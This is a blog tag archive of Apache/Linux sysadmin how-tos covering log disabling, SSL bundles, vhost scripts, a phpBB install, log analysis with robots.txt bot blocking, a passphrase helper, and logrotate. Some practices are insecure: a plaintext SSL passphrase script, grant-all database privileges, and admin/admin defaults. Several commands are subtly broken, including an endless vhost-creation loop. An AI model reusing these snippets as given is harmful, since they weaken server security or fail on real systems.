Posts Tagged ‘apache2’

Linux: Howto Disable logging for all VirtualHosts on Apache and NGINX Webservers one liner

Wednesday, July 1st, 2020

Reading Time: 2minutes

disable-apache-nginx-logging-for-all-virtualhosts
Did you happen to administer Apache Webservers or NGINX webservers whose logs start to grow so rapidly that are flooding the disk too quickly?
Well this happens sometimes and it also happens that sometimes you just want to stop logging especially, to offload disk writting.

There is an easy way to disable logging for requests and errors (access_log and error_log usually residing under /var/log/httpd or /var/log/nginx ) for  all configured Virtual Domains with a short one liner, here is how.

Before you start  Create backup of /etc/apache2/sites-enabled / or /etc/nginx to be able to revert back to original config.

# cp -rpf /etc/apache2/sites-enabled/ ~/

# cp -rpf /etc/nginx/ ~/


1. Disable Logging for All  Virtual Domains configured for Apache Webserver

First lets print what the command will do to make sure we don't mess something

# find /home/hipo/sites-enabled/* -exec echo sed -i 's/#*[Cc]ustom[Ll]og/#CustomLog/g' {} \;


You will get some output like

find /home/hipo//sites-enabled/* -exec echo sed -i 's/#*[Cc]ustom[Ll]og/#CustomLog/g' {} \;

find /etc/apache2/sites-enabled/* -exec sed -i 's/#*[Cc]ustom[Ll]og/#CustomLog/g' {} \;
find /etc/apache2/sites-enabled/* -exec sed -i 's/#*[Ee]rror[Ll]og/#ErrorLog/g' {} \;

2. Disable Logging for All configured Virtual Domains for NGINX Webserver
 

find /etc/nginx/sites-enabled/* -exec sed -i 's/#*access_log/#access_log/g' {} \;
find /etc/nginx/sites-enabled/* -exec sed -i 's/#*error_log/#error_log/g' {} \;

f course above substituations that will comment out with '#' occurances from file configs of only default set access_log and error_log / access.log, error.log 
for machines where there is no certain convention on file naming and there are multiple domains in custom produced named log files this won't work.

This one liner was inspired from a friend's daily Martin Petrov. Martin blogged initially about this nice tip for those reading Cyrillic check out mpetrov.net, so. Thanks Marto ! 🙂

Create and Configure SSL bundle file for GoGetSSL issued certificate in Apache Webserver on Linux

Saturday, November 3rd, 2018

Reading Time: 4minutes

gogetssl-install-certificate-on-linux-howto-sslcertificatechainfile-obsolete

I had a small task to configure a new WildCard SSL for domains on a Debian GNU / Linux Jessie running Apache 2.4.25.

The official documentation on how to install the SSL certificate on Linux given by GoGetSSL (which is by COMODO was obsolete as of time of writting this article and suggested as install instructions:
 

SSLEngine on
SSLCertificateKeyFile /etc/ssl/ssl.key/server.key
SSLCertificateFile /etc/ssl/ssl.crt/yourDomainName.crt
SSLCertificateChainFile /etc/ssl/ssl.crt/yourDomainName.ca-bundle


Adding such configuration to domain Vhost and testing with apache2ctl spits an error like:

 

root@webserver:~# apache2ctl configtest
AH02559: The SSLCertificateChainFile directive (/etc/apache2/sites-enabled/the-domain-name-ssl.conf:17) is deprecated, SSLCertificateFile should be used instead
Syntax OK

 


To make issued GoGetSSL work with Debian Linux, hence, here is the few things done:

The files issued by Gogetssl.COM were the following:

 

AddTrust_External_CA_Root.crt
COMODO_RSA_Certification_Authority.crt
the-domain-name.crt


The webserver had already SSL support via mod_ssl Apache module, e.g.:

 

root@webserver:~# ls -al /etc/apache2/mods-available/*ssl*
-rw-r–r– 1 root root 3112 окт 21  2017 /etc/apache2/mods-available/ssl.conf
-rw-r–r– 1 root root   97 сеп 19  2017 /etc/apache2/mods-available/ssl.load
root@webserver:~# ls -al /etc/apache2/mods-enabled/*ssl*
lrwxrwxrwx 1 root root 26 окт 19  2017 /etc/apache2/mods-enabled/ssl.conf -> ../mods-available/ssl.conf
lrwxrwxrwx 1 root root 26 окт 19  2017 /etc/apache2/mods-enabled/ssl.load -> ../mods-available/ssl.load


For those who doesn't have mod_ssl enabled, to enable it quickly run:

 

# a2enmod ssl


The VirtualHost used for the domains had Apache config as below:

 

 

 

NameVirtualHost *:443

<VirtualHost *:443>
    ServerAdmin support@the-domain-name.com
    ServerName the-domain-name.com
    ServerAlias *.the-domain-name.com the-domain-name.com

    DocumentRoot /home/the-domain-namecom/www
    SSLEngine On
#    <Directory />
#        Options FollowSymLinks
#        AllowOverride None
#    </Directory>
    <Directory /home/the-domain-namecom/www>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride None
        Include /home/the-domain-namecom/www/htaccess_new.txt
        Order allow,deny
        allow from all
    </Directory>

    ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
    <Directory "/usr/lib/cgi-bin">
        AllowOverride None
        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
        Order allow,deny
        Allow from all
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log

    # Possible values include: debug, info, notice, warn, error, crit,
    # alert, emerg.
    LogLevel warn

    CustomLog ${APACHE_LOG_DIR}/access.log combined

#    Alias /doc/ "/usr/share/doc/"
#   <Directory "/usr/share/doc/">
#       Options Indexes MultiViews FollowSymLinks
#       AllowOverride None
#       Order deny,allow
#       Deny from all
#       Allow from 127.0.0.0/255.0.0.0 ::1/128
#   </Directory>
SSLCertificateKeyFile /etc/apache2/ssl/the-domain-name.com.key
SSLCertificateFile /etc/apache2/ssl/chain.crt

 

</VirtualHost>

The config directives enabling and making the SSL actually work are:
 

SSLEngine On
SSLCertificateKeyFile /etc/apache2/ssl/the-domain-name.com.key
SSLCertificateFile /etc/apache2/ssl/chain.crt

 

The chain.crt file is actually a bundle file containing a bundle of the gogetssl CA_ROOT and RSA_Certification_Authority 3 files, to prepare that file, I've used bundle.sh small script found on serverfault.com here I've made a mirror of bundle.sh on pc-freak.net here   the script content is as follows:

To prepare the chain.crt  bundle, I ran:

 

sh create-ssl-bundle.sh _iq-test_cc.crt chain.crt
sh create-ssl-bundle.sh _iq-test_cc.crt >chain.crt
sh create-ssl-bundle.sh COMODO_RSA_Certification_Authority.crt >> chain.crt
sh create-ssl-bundle.sh bundle.sh AddTrust_External_CA_Root.crt >> chain.crt


Then I copied the file to /etc/apache2/ssl together with the-domain-name.com.key file earlier generated using openssl command earlier explained in my article how to install RapidSSL certificate on Linux

/etc/apache2/ssl was not previously existing (on Debian Linux), so to create it:

 

root@webserver:~# mkdir /etc/apache2/ssl
root@webserver:~#ls -al /etc/apache2/ssl/chain.crt
-rw-r–r– 1 root root 20641 Nov  2 12:27 /etc/apache2/ssl/chain.crt
root@webserver:~# ls -al /etc/apache2/ssl/the-domain-name.com.key
-rw-r–r– 1 root root 6352 Nov  2 20:35 /etc/apache2/ssl/the-domain-name.com.key

 

As I needed to add the SSL HTTPS configuration for multiple domains, further on I've wrote and used a tiny shell script add_new_vhost.sh which accepts as argument the domain name I want to add. The script works with a sample Skele (Template) file, which is included in the script itself and can be easily modified for the desired vhost config.
To add my multiple domains, I've used the script as follows:
 

sh add_new_vhost.sh add-new-site-domain.com
sh add_new_vhost.sh add-new-site-domain1.com


etc.

Here is the complete script as well:

 

#!/bin/sh
# Shell script to add easily new domains for virtual hosting on Debian machines
# arg1 should be a domain name
# This script takes the domain name which you type as arg1 uses it and creates
# Docroot / cgi-bin directory for the domain, create seperate site's apache log directory
# then takes a skele.com file and substitutes a skele.com with your domain name and directories
# This script's aim is to easily enable sysadmin to add new domains in Debian
sites_base_dir=/var/www/jail/home/www-data/sites/;
# the directory where the skele.com file is
skele_dir=/etc/apache2/sites-available;
# base directory where site log dir to be created
cr_sep_log_file_d=/var/log/apache2/sites;
# owner of the directories
username='www-data';
# read arg0 and arg1
arg0=$0;
arg1=$1;
if [[ -z $arg1 ]]; then
echo "Missing domain name";
exit 1;
fi

 

# skele template
echo "#
#  Example.com (/etc/apache2/sites-available/www.skele.com)
#
<VirtualHost *>
        ServerAdmin admin@design.bg
        ServerName  skele.com
        ServerAlias www.skele.com


        # Indexes + Directory Root.
        DirectoryIndex index.php index.htm index.html index.pl index.cgi index.phtml index.jsp index.py index.asp

        DocumentRoot /var/www/jail/home/www-data/sites/skelecom/www/docs
        ScriptAlias /cgi-bin "/var/www/jail/home/www-data/sites/skelecom/cgi-bin"
        
        # Logfiles
        ErrorLog  /var/log/apache2/sites/skelecom/error.log
        CustomLog /var/log/apache2/sites/skelecom/access.log combined
#       CustomLog /dev/null combined
      <Directory /var/www/jail/home/www-data/sites/skelecom/www/docs/>
                Options FollowSymLinks MultiViews -Includes
                AllowOverride None
                Order allow,deny
                allow from all
                # This directive allows us to have apache2's default start page
                # in /apache2-default/, but still have / go to the right place
#               RedirectMatch ^/$ /apache2-default/
        </Directory>

        <Directory /var/www/jail/home/www-data/sites/skelecom/www/docs/>
                Options FollowSymLinks ExecCGI -Includes
                AllowOverride None
                Order allow,deny
                allow from all
        </Directory>

</VirtualHost>
" > $skele_dir/skele.com;

domain_dir=$(echo $arg1 | sed -e 's/\.//g');
new_site_dir=$sites_base_dir/$domain_dir/www/docs;
echo "Creating $new_site_dir";
mkdir -p $new_site_dir;
mkdir -p $sites_base_dir/cgi-bin;
echo "Creating sites's Docroot and CGI directory";
chown -R $username:$username $new_site_dir;
chown -R $username:$username $sites_base_dir/cgi-bin;
echo "Creating site's Log files Directory";
mkdir -p $cr_sep_log_file_d/$domain_dir;
echo "Creating sites's VirtualHost file and adding it for startup";
sed -e "s#skele.com#$arg1#g" -e "s#skelecom#$domain_dir#g" $skele_dir/skele.com >> $skele_dir/$arg1;
ln -sf $skele_dir/$arg1 /etc/apache2/sites-enabled/;
echo "All Completed please restart apache /etc/init.d/apache restart to Load the new virtual domain";

# Date Fri Jan 11 16:27:38 EET 2008


Using the script saves a lot of time to manually, copy vhost file and then edit it to change ServerName directive, for vhosts whose configuration is identical and only the ServerName listener has to change, it is perfect to create all necessery domains, I've created a simple text file with each of the domains and run it in a loop:
 

while :; do sh add_new_vhost.sh $i; done < domain_list.txt
 

 

Installing the phpbb forum on Debian (Squeeze/Sid) Linux

Saturday, September 11th, 2010

Reading Time: 4minutes

howto-easily-install-phpbb-on-debian-gnu-linux

I've just installed the phpbb forum on a Debian Linux because we needed a goodquick to install communication media in order to improve our internal communication in a student project in Strategic HR we're developing right now in Arnhem Business School.

Here are the exact steps I followed to have a properly it properly instlled:

1. Install the phpbb3 debian package
This was pretty straight forward:

debian:~# apt-get install phpbb3

At this point of installation I've faced a dpkg-reconfigure phpbb deb package configuration issue:
I was prompted to pass in the credentials for my MySQL password right after I've selected the MySQL as my preferred database back engine.
I've feeded my MySQL root password as well as my preferred forum database name, however the database installation failed because, somehow the configuration procedure tried to connect to my MySQL database with the htcheck user.
I guess this has to be a bug in the package itself or something from my previous installation misconfigured the way the debian database backend configuration was operating.
My assumption is that my previously installed htcheck package or something beforehand I've done right after the htcheck and htcheck-php packages installation.

after the package configuration failed still the package had a status of properly installed when I reviewed it with dpkg
I've thought about trying to manually reconfigure it using the dpkg-reconfigure debian command and I gave it a try like that:

debian:~# dpkg-reconfigure phpbb3

This time along with the other fields I've to fill in the ncurses interface I was prompted for a username before the password prompted appeared.
Logically I tried to fill in the root as it's my global privileges MySQL allowed user.
However that didn't helped at all and again the configuration tried to send the credentials with user htcheck to my MySQL database server.
To deal with the situation I had to approach it in the good old manual way.

2. Manually prepare / create the required phpbb forum database

To completet that connected to the MySQL server with the mysql client and created the proper database like so:

debian:~# mysql -u root -p
mysql>
CREATE database phpbb3forum;

3. Use phpmyadmin or the mysql client command line to create a new user for the phpbb forum

Here since adding up the user using the phpmyadmin was a way easier to do I decided to go that route, anyways using the mysql cli is also an option.

From phpmyadmin It's pretty easy to add a new user and grant privileges to a certain database, to do so navigate to the following database:

Privileges -> -> Add a new user ->

Now type your User name: , Host , Password , Re-type password , also for a Host: you have to choose Local from the drop down menu.

Leave the Database for user field empty as we have already previously created our desired database in step 2 of this article

Now press the "Go" button and the user will get created.

Further after choose the Privileges menu right on the bottom of the page once again, select through the checkbox the username you have just created let's say the previously created user is phpbb3

Go to Action (There is a picture with a man and a pencil on the right side of this button

Scroll down to the page part saying Database-specific privileges and in the field Add privileges on the following database: fill in your previosly created database name in our case it's phpbb3forum

and then press the "Go" button once again.
A page will appear where you will have to select the exact privileges you would like to grant on the specific selected database.
For some simplicity just check all the checkbox to grant as many privilegs to your database as you could.
Then again you will have to press the "Go" button and there you go you should have already configured an username and database ready to go with your new phpbb forum.

4. Create a virtualhost if you would like to have the forum as a subdomain or into a separate domain

If you decide to have the forum on a separate sub-domain or domain as I did you will have to add some kind of Virtualhost into either your Apache configuration /etc/apache2/apache2.conf or into where officially the virutualhosts are laid in Debian Linux in /etc/apache2/sites-available
I've personally created a new file like for instance /etc/apache2/sites-available/mysubdomain.mydomain.com

Here is an example content of the new Virtualhost:

<VirtualHost *>
ServerAdmin admin-email@domain.com
ServerName mysubdomain.domain.com

# Indexes + Directory Root.
DirectoryIndex index.php index.php5 index.htm index.html index.pl index.cgi index.phtml index.jsp index.py index.asp

DocumentRoot /usr/share/phpbb3/www/

# Logfiles
ErrorLog /var/log/apache2/yourdomain/error.log
CustomLog /var/log/apache2/yourdomain/access.log combined
# CustomLog /dev/null combined
<Directory /usr/share/phpbb3/www/>
Options FollowSymLinks MultiViews -Includes ExecCGI
AllowOverride All
Order allow,deny
allow from all </Directory>
</VirtualHost>

In above Virtualhost just change the values for ServerAdmin , ServerName , DocumentRoot , ErrorLog , CustomLog and Directory declaration to adjust it to your situation.

5. Restart the Apache webserver for the new Virtualhost to take affect

debian:~# /etc/init.d/apache2 restart

Now accessing your http://mysubdomain.domain.com should display the installed phpbb3 forum
The default username and password for your forum you can use straight are:

username: admin
password: admin

So far so good you by now have the PHPBB3 forum properly installed and running, however if you try to Register a new user in the forum you will notice that it's impossible because of a terrible ugly message reading:

Sorry but this board is currently unavailable.

I've spend few minutes online to scrape through the forums before I can understand what I have to stop that annoying message from appearing and allow new users to register in the phpbb forum

The solution came natural and was a setting that had to be changed with the forum admin account, thus login as admin and look at the bottom of the page, below the text reading Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group you will notice a link with Administration Control Panel
just press there a whole bunch of menus will appear on the screen allowing you to do numerous things, however what you will have to do is go to
Board Settings -> Disable Board

and change the radio button there to say No

That's all now your forum will be ready to go and your users can freely register and if the server where the forum is installed has an already running mail server, they will receive an emails with a registration data concerning their new registrations in your new phpbb forum.
Cheers and Enjoy your new shiny phpbb Forum 🙂

Finding top access IPs in Webserver or how to delay connects from Bots (Web Spiders) to your site to prevent connect Denial of Service

Friday, September 15th, 2017

Reading Time: 8minutes

analyze-log-files-most-visited-ips-and-find-and-stopwebsite-hammering-bot-spiders-neo-tux

If you're a sysadmin who has to deal with cracker attemps for DoS (Denial of Service) on single or multiple servers (clustered CDN or standalone) Apache Webservers, nomatter whether working for some web hosting company or just running your private run home brew web server its very useful thing to inspect Web Server log file (in Apache HTTPD case that's access.log).

Sometimes Web Server overloads and the follow up Danial of Service (DoS) affect is not caused by evil crackers (mistkenly often called hackers but by some data indexing Crawler Search Engine bots who are badly configured to aggressively crawl websites and hence causing high webserver loads flooding your servers with bad 404 or 400, 500 or other requests, just to give you an example of such obstructive bots.

1. Dealing with bad Search Indexer Bots (Spiders) with robots.txt

Just as I mentioned hackers word above I feel obliged to expose the badful lies the press and media spreading for years misconcepting in people's mind the word cracker (computer intruder) with a hacker, if you're one of those who mistakenly call security intruders hackers I recommend you read Dr. Richard Stallman's article On Hacking to get the proper understanding that hacker is an cheerful attitude of mind and spirit and a hacker could be anyone who has this kind of curious and playful mind out there. Very often hackers are computer professional, though many times they're skillful programmers, a hacker is tending to do things in a very undstandard and weird ways to make fun out of life but definitelely follow the rule of do no harm to the neighbor.

Well after the short lirical distraction above, let me continue;

Here is a short list of Search Index Crawler bots with very aggressive behaviour towards websites:

 

# mass download bots / mirroring utilities
1. webzip
2. webmirror
3. webcopy
4. netants
5. getright
6. wget
7. webcapture
8. libwww-perl
9. megaindex.ru
10. megaindex.com
11. Teleport / TeleportPro
12. Zeus
….

Note that some of the listed crawler bots are actually a mirroring clients tools (wget) etc., they're also included in the list of server hammering bots because often  websites are attempted to be mirrored by people who want to mirror content for the sake of good but perhaps these days more often mirror (duplicate) your content for the sake of stealing, this is called in Web language Content Stealing in SEO language.


I've found a very comprehensive list of Bad Bots to block on Mike's tech blog his website provided example of bad robots.txt file is mirrored as plain text file here

Below is the list of Bad Crawler Spiders taken from his site:

 

# robots.txt to prohibit bad internet search engine spiders to crawl your website
# Begin block Bad-Robots from robots.txt
User-agent: asterias
Disallow:/
User-agent: BackDoorBot/1.0
Disallow:/
User-agent: Black Hole
Disallow:/
User-agent: BlowFish/1.0
Disallow:/
User-agent: BotALot
Disallow:/
User-agent: BuiltBotTough
Disallow:/
User-agent: Bullseye/1.0
Disallow:/
User-agent: BunnySlippers
Disallow:/
User-agent: Cegbfeieh
Disallow:/
User-agent: CheeseBot
Disallow:/
User-agent: CherryPicker
Disallow:/
User-agent: CherryPickerElite/1.0
Disallow:/
User-agent: CherryPickerSE/1.0
Disallow:/
User-agent: CopyRightCheck
Disallow:/
User-agent: cosmos
Disallow:/
User-agent: Crescent
Disallow:/
User-agent: Crescent Internet ToolPak HTTP OLE Control v.1.0
Disallow:/
User-agent: DittoSpyder
Disallow:/
User-agent: EmailCollector
Disallow:/
User-agent: EmailSiphon
Disallow:/
User-agent: EmailWolf
Disallow:/
User-agent: EroCrawler
Disallow:/
User-agent: ExtractorPro
Disallow:/
User-agent: Foobot
Disallow:/
User-agent: Harvest/1.5
Disallow:/
User-agent: hloader
Disallow:/
User-agent: httplib
Disallow:/
User-agent: humanlinks
Disallow:/
User-agent: InfoNaviRobot
Disallow:/
User-agent: JennyBot
Disallow:/
User-agent: Kenjin Spider
Disallow:/
User-agent: Keyword Density/0.9
Disallow:/
User-agent: LexiBot
Disallow:/
User-agent: libWeb/clsHTTP
Disallow:/
User-agent: LinkextractorPro
Disallow:/
User-agent: LinkScan/8.1a Unix
Disallow:/
User-agent: LinkWalker
Disallow:/
User-agent: LNSpiderguy
Disallow:/
User-agent: lwp-trivial
Disallow:/
User-agent: lwp-trivial/1.34
Disallow:/
User-agent: Mata Hari
Disallow:/
User-agent: Microsoft URL Control – 5.01.4511
Disallow:/
User-agent: Microsoft URL Control – 6.00.8169
Disallow:/
User-agent: MIIxpc
Disallow:/
User-agent: MIIxpc/4.2
Disallow:/
User-agent: Mister PiX
Disallow:/
User-agent: moget
Disallow:/
User-agent: moget/2.1
Disallow:/
User-agent: mozilla/4
Disallow:/
User-agent: Mozilla/4.0 (compatible; BullsEye; Windows 95)
Disallow:/
User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)
Disallow:/
User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)
Disallow:/
User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Disallow:/
User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows XP)
Disallow:/
User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 2000)
Disallow:/
User-agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows ME)
Disallow:/
User-agent: mozilla/5
Disallow:/
User-agent: NetAnts
Disallow:/
User-agent: NICErsPRO
Disallow:/
User-agent: Offline Explorer
Disallow:/
User-agent: Openfind
Disallow:/
User-agent: Openfind data gathere
Disallow:/
User-agent: ProPowerBot/2.14
Disallow:/
User-agent: ProWebWalker
Disallow:/
User-agent: QueryN Metasearch
Disallow:/
User-agent: RepoMonkey
Disallow:/
User-agent: RepoMonkey Bait & Tackle/v1.01
Disallow:/
User-agent: RMA
Disallow:/
User-agent: SiteSnagger
Disallow:/
User-agent: SpankBot
Disallow:/
User-agent: spanner
Disallow:/
User-agent: suzuran
Disallow:/
User-agent: Szukacz/1.4
Disallow:/
User-agent: Teleport
Disallow:/
User-agent: TeleportPro
Disallow:/
User-agent: Telesoft
Disallow:/
User-agent: The Intraformant
Disallow:/
User-agent: TheNomad
Disallow:/
User-agent: TightTwatBot
Disallow:/
User-agent: Titan
Disallow:/
User-agent: toCrawl/UrlDispatcher
Disallow:/
User-agent: True_Robot
Disallow:/
User-agent: True_Robot/1.0
Disallow:/
User-agent: turingos
Disallow:/
User-agent: URLy Warning
Disallow:/
User-agent: VCI
Disallow:/
User-agent: VCI WebViewer VCI WebViewer Win32
Disallow:/
User-agent: Web Image Collector
Disallow:/
User-agent: WebAuto
Disallow:/
User-agent: WebBandit
Disallow:/
User-agent: WebBandit/3.50
Disallow:/
User-agent: WebCopier
Disallow:/
User-agent: WebEnhancer
Disallow:/
User-agent: WebmasterWorldForumBot
Disallow:/
User-agent: WebSauger
Disallow:/
User-agent: Website Quester
Disallow:/
User-agent: Webster Pro
Disallow:/
User-agent: WebStripper
Disallow:/
User-agent: WebZip
Disallow:/
User-agent: WebZip/4.0
Disallow:/
User-agent: Wget
Disallow:/
User-agent: Wget/1.5.3
Disallow:/
User-agent: Wget/1.6
Disallow:/
User-agent: WWW-Collector-E
Disallow:/
User-agent: Xenu’s
Disallow:/
User-agent: Xenu’s Link Sleuth 1.1c
Disallow:/
User-agent: Zeus
Disallow:/
User-agent: Zeus 32297 Webster Pro V2.9 Win32
Disallow:/
Crawl-delay: 20
# Begin Exclusion From Directories from robots.txt
Disallow: /cgi-bin/

Veryimportant variable among the ones passed by above robots.txt is
 

Crawl-Delay: 20

 


You might want to tune that variable a Crawl-Delay of 20 instructs all IP connects from any Web Spiders that are respecting robots.txt variables to delay crawling with 20 seconds between each and every connect client request, that is really useful for the Webserver as less connects means less CPU and Memory usage and less degraded performance put by aggressive bots crawling your site like crazy, requesting resources 10 times per second or so …

As you can conclude by the naming of some of the bots having them disabled would prevent your domain/s clients from Email harvesting Spiders and other not desired activities.


 

2. Listing IP addresses Hits / How many connects per IPs used to determine problematic server overloading a huge number of IPs connects

After saying few words about SE bots and I think it it is fair to also  mention here a number of commands, that helps the sysadmin to inspect Apache's access.log files.
Inspecting the log files regularly is really useful as the number of malicious Spider Bots and the Cracker users tends to be
raising with time, so having a good way to track the IPs that are stoning at your webserver and later prohibiting them softly to crawl either via robots.txt (not all of the Bots would respect that) or .htaccess file or as a last resort directly form firewall is really useful to know.
 

– Below command Generate a list of IPs showing how many times of the IPs connected the webserver (bear in mind that commands are designed log fields order as given by most GNU / Linux distribution + Apache default logging configuration;

 

webhosting-server:~# cd /var/log/apache2 webhosting-server:/var/log/apache2# cat access.log| awk '{print $1}' | sort | uniq -c |sort -n


Below command provides statistics info based on whole access.log file records, sometimes you will need to have analyzed just a chunk of the webserver log, lets say last 12000 IP connects, here is how:
 

webhosting-server:~# cd /var/log/apache2 webhosting-server:/var/log/apache2# tail -n 12000 access.log| awk '{print $1}' | sort | uniq -c |sort -n


You can combine above basic bash shell parser commands with the watch command to have a top like refresh statistics every few updated refreshing IP statistics of most active customers on your websites.

Here is an example:

 

webhosting-server:~# watch "cat access.log| awk '{print $1}' | sort | uniq -c |sort -n";

 


Once you have the top connect IPs if you have a some IP connecting with lets say 8000-10000 thousand times in a really short interval of time 20-30 minues or so. Hence it is a good idea to investigate further where is this IP originating from and if it is some malicious Denial of Service, filter it out either in Firewall (with iptables rules) or ask your ISP or webhosting to do you a favour and drop all the incoming traffic from that IP.

Here is how to investigate a bit more about a server stoner IP;
Lets assume that you found IP: 176.9.50.244 to be having too many connects to your webserver:
 

webhosting-server:~# grep -i 176.9.50.244 /var/log/apache2/access.log|tail -n 1
176.9.50.244 – – [12/Sep/2017:07:42:13 +0300] "GET / HTTP/1.1" 403 371 "-" "Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)"

 

webhosting-server:~# host 176.9.50.244
244.50.9.176.in-addr.arpa domain name pointer static.244.50.9.176.clients.your-server.de.

 

webhosting-server:~# whois 176.9.50.244|less

 

The outout you will get would be something like:

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '176.9.50.224 – 176.9.50.255'

% Abuse contact for '176.9.50.224 – 176.9.50.255' is 'abuse@hetzner.de'

inetnum:        176.9.50.224 – 176.9.50.255
netname:        HETZNER-RZ15
descr:          Hetzner Online GmbH
descr:          Datacenter 15
country:        DE
admin-c:        HOAC1-RIPE
tech-c:         HOAC1-RIPE
status:         ASSIGNED PA
mnt-by:         HOS-GUN
mnt-lower:      HOS-GUN
mnt-routes:     HOS-GUN
created:        2012-03-12T09:45:54Z
last-modified:  2015-08-10T09:29:53Z
source:         RIPE

role:           Hetzner Online GmbH – Contact Role
address:        Hetzner Online GmbH
address:        Industriestrasse 25
address:        D-91710 Gunzenhausen
address:        Germany
phone:          +49 9831 505-0
fax-no:         +49 9831 505-3
abuse-mailbox:  abuse@hetzner.de
remarks:        *************************************************
remarks:        * For spam/abuse/security issues please contact *
remarks:        * abuse@hetzner.de, not this address. *
remarks:        * The contents of your abuse email will be *
remarks:        * forwarded directly on to our client for *
….


3. Generate list of directories and files that are most called by clients
 

webhosting-server:~# cd /var/log/apache2; webhosting-server:/var/log/apache2# awk '{print $7}' access.log|cut -d? -f1|sort|uniq -c|sort -nk1|tail -n10

( take in consideration that this info is provided only on current records from /var/log/apache2/ and is short term for long term statistics you have to merge all existing gzipped /var/log/apache2/access.log.*.gz )

To merge all the old gzipped files into one single file and later use above shown command to analyize run:

 

cd /var/log/apache2/
cp -rpf *access.log*.gz apache-gzipped/
cd apache-gzipped
for i in $(ls -1 *access*.log.*.gz); do gzip -d $i; done
rm -f *.log.gz;
for i in $(ls -1 *|grep -v access_log_complete); do cat $i >> access_log_complete; done


Though the accent of above article is Apache Webserver log analyzing, the given command examples can easily be recrafted to work properly on other Web Servers LigHTTPD, Nginx etc.

Above commands are about to put a higher load to your server during execution, so on busy servers it is a better idea, to first go and synchronize the access.log files to another less loaded servers in most small and midsized companies this is being done by a periodic synchronization of the logs to the log server used usually only to store log various filesand later used to do various analysis our run analyse software such as Awstats, Webalizer, Piwik, Go Access etc.

Worthy to mention one great text console must have Apache tool that should be mentioned to analyze in real time for the lazy ones to type so much isApache-top but those script will be not installed on most webhosting servers and VPS-es, so if you don't happen to own a self-hosted dedicated server / have webhosting company etc. – (have root admin access on server), but have an ordinary server account you can use above commands to get an overall picture of abusive webserver IPs.

logstalgia-visual-loganalyzer-in-reali-time-windows-linux-mac
 

If you have a Linux with a desktop GUI environment and have somehow mounted remotely the weblog server partition another really awesome way to visualize in real time the connect requests to  web server Apache / Nginx etc. is with Logstalgia

Well that's all folks, I hope that article learned you something new. Enjoy

Thanks for article neo-tux picture tosegarkshtri.com.np)

Auto insert password for a Trusted SSL Certificate / Automatically enter password for an SSL Certificate during Apache startup on Debian Lenny

Friday, March 26th, 2010

Reading Time: 2minutes

Protect-Your-Private-SSL_keys-Apache-howto
I've recently installed a Trusted certificate that I've previously protected with a pass-phrase to an Apache server running on top of Debian in order to have a better security.
Now everytime I restart Apache it's pretty annyoing and non-practical at the same time, to enter the Passphrase assigned to the SSL certificate.
It's also dangerous because if Apache crashes and tries to resurrect itself restartig it might not start-up again.
Another unpleasant possible scenario is if for example some of the php code developers tries to change something minor in some Virtualhost and afterwards restarts Apache for the new configurations to take place, again Apache won't bring up and a chaos would emerge.
So I decided to configurate my Apache that it auto fills in the passphrase each time it's being started or restarted.To do that I consulted some online resources and I end up redirected by a blog post to the mod_ssl ssl_reference web page

There is plenty of stuff on that document however in my case all I needed was one directive in /etc/apache2/mods-avalable/mods-available/ssl.conf :

SSLPassPhraseDialog exec:/etc/apache2/mods-available/passphrase

The above code must replace:

SSLPassPhraseDialog builtin

Now last step is to prepare the /etc/apache2/mods-available/passphrase .
Make sure the file has the following content:

#!/bin/sh
echo "yoursecretpassword"

Change above yoursecretpassword with your configured passphrase.
Also please make sure /etc/apache2/mods-availabe/passphrase has proper set permissions. In my case I've set the following permissions for the file:

debian:~# chown www-data:www-data /etc/apache2/mods-available/passphrase
debian:~# chmod 700 /etc/apache2/mods-available/passphrase

That should be it, Restart Apache and make sure Apache is properly loaded without anySSL passphrase prompts.
However you should have in mind that auto enabling passphrase loading on starting in Apache is much more insecure than typing in the password every time you restart Apache. Storing the passphrase in a file is quite insecure compared to if you type it every time Apache starts.
For instance if a hacker breaks into your server he might be able to steal your SSL certificate as well as the passphrase file.
And surely this is something you don't want. Anyways flexibility has a price and if you decide to go the way described, please note the risk first.

 

   

If you haven't already added a password to your private key during certficate generation time,

Of course you can add/remove a passphrase at a later time.

    add one (assuming it was an rsa key, else use dsa)

    openssl rsa -des3 -in your.key -out your.encrypted.key
    mv your.encrypted.key your.key

    the -des3 tells openssl to encrypt the key with DES3.

    remove it

    openssl rsa -in your.key -out your.open.key

    you will be asked for your passphrase one last time
    by omitting the -des3 you tell openssl to not encrypt the output.

    mv your.open.key your.key

 

How to force logrorate process logs / Make logrotate changes take effect immediately

Sunday, April 10th, 2016

Reading Time: 2minutes

how-to-force-logrorate-to-process-logs-make-logrorate-changes-take-effect-immediately-log-rotate-300x299

Dealing with logrorate as admins we need to change or add new log-rorate configurations (on most Linux distributions configs are living uder
/etc/logrotate.d/
 

logrotate uses crontab to work. It's scheduled work, not as daemon, so usually no need to reload its configuration.
When the crontab executes logrotate, it will use your new config file automatically.

Most of the logrotate setups I've seen on various distros runs out of the /etc/cron.daily

$ ls -l /etc/cron.daily/logrotate 
-rwxr-xr-x 1 root root 180 May 18  2014 /etc/cron.daily/logrotate

Here is content of cron job scheduled script:

$ cat /etc/cron.daily/logrorate

#!/bin/sh /usr/sbin/logrotate /etc/logrotate.conf EXITVALUE=$? if [ $EXITVALUE != 0 ]; then /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]" fi exit 0

Configurations change to lograte configs takes effect on next crontab run,
but what If you need to test your config you can also execute logrotate
on your own with below ommand:

 


logrotate -vf /etc/logrotate.conf 

